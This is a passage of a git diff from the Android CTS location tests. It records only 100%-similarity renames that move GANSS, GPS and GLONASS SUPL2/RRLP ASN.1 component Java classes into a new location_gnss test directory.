rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaBitSizes.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaEpoch.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaEpoch.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaEpoch.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaEpoch.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaMatrix.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaMatrix.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaMatrix.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaMatrix.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaScales.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaScales.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisDeltaScales.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisDeltaScales.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionCheck.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionCheck.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionCheck.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionCheck.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSEphemerisExtensionTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSEphemerisExtensionTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSGenericAssistDataElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSGenericAssistDataElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSGenericAssistDataElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSGenericAssistDataElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonoStormFlags.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonoStormFlags.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonoStormFlags.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonoStormFlags.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphereModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonosphereModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphereModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonosphereModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphericModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonosphericModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSIonosphericModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSIonosphericModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSLocationInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSLocationInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSLocationInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSLocationInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSMeasureInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSMeasureInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSMeasureInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSMeasureInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSModelID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSModelID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSModelID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSModelID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSNavModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSNavModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSNavModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSNavModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSOrbitModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSOrbitModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSOrbitModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSOrbitModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositionMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositionMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethods.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositionMethods.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethods.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositionMethods.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethod.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositioningMethod.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethod.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositioningMethod.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethodTypes.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositioningMethodTypes.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethodTypes.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSPositioningMethodTypes.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRealTimeIntegrity.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRealTimeIntegrity.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRealTimeIntegrity.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRealTimeIntegrity.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefLocation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefLocation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefLocation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefLocation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementAssist.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefMeasurementAssist.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementAssist.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefMeasurementAssist.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefMeasurementElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefMeasurementElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefTimeInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefTimeInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefTimeInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSRefTimeInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceOrbit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSReferenceOrbit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceOrbit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSReferenceOrbit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSReferenceTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSReferenceTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSReferenceTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatEventsInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSatEventsInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatEventsInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSatEventsInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatelliteElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSatelliteElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSatelliteElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSatelliteElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignalID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSignalID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignalID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSignalID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignals.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSignals.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSSignals.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSSignals.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTOD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTOD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODUncertainty.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTODUncertainty.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODUncertainty.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTODUncertainty.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD_GSMTimeAssociation.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTOD_GSMTimeAssociation.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTOD_GSMTimeAssociation.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTOD_GSMTimeAssociation.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODm.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTODm.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTODm.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTODm.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTimeModelElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTimeModelElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSTimeModelElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSTimeModelElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSUTCModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSUTCModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSUTCModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSSUTCModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_AssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_AssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_AssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_AssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ControlHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ControlHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ControlHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ControlHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID1.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID1.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1_element.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID1_element.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID1_element.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID1_element.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID3.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID3.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3_element.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID3_element.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_ID3_element.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_ID3_element.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_MsrElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_MsrElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrSetElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_MsrSetElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_MsrSetElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_MsrSetElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_SgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_SgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnTypeElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_SgnTypeElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSS_SgnTypeElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GANSS_SgnTypeElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GLONASSclockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GLONASSclockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GLONASSclockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GLONASSclockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSAssistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistanceData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSAssistanceData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistanceData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSAssistanceData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSClockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSClockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSClockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSClockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaElementList.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSDeltaElementList.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaElementList.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSDeltaElementList.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaEpochHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSDeltaEpochHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSDeltaEpochHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSDeltaEpochHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaBitSizes.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaBitSizes.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaBitSizes.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaBitSizes.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaEpoch.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaEpoch.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaEpoch.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaEpoch.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaMatrix.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaMatrix.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaMatrix.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaMatrix.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaScales.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaScales.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisDeltaScales.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisDeltaScales.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionCheck.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionCheck.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionCheck.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionCheck.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionHeader.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionHeader.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionHeader.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionHeader.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSEphemerisExtensionTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSEphemerisExtensionTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceOrbit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSReferenceOrbit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceOrbit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSReferenceOrbit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceTimeUncertainty.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSReferenceTimeUncertainty.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSReferenceTimeUncertainty.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSReferenceTimeUncertainty.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSSatEventsInfo.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSSatEventsInfo.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSSatEventsInfo.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSSatEventsInfo.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW23b.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOW23b.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW23b.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOW23b.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW24b.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOW24b.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOW24b.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOW24b.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssist.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOWAssist.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssist.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOWAssist.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSTOWAssistElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/GPSTOWAssistElement.java
similarity index 100%
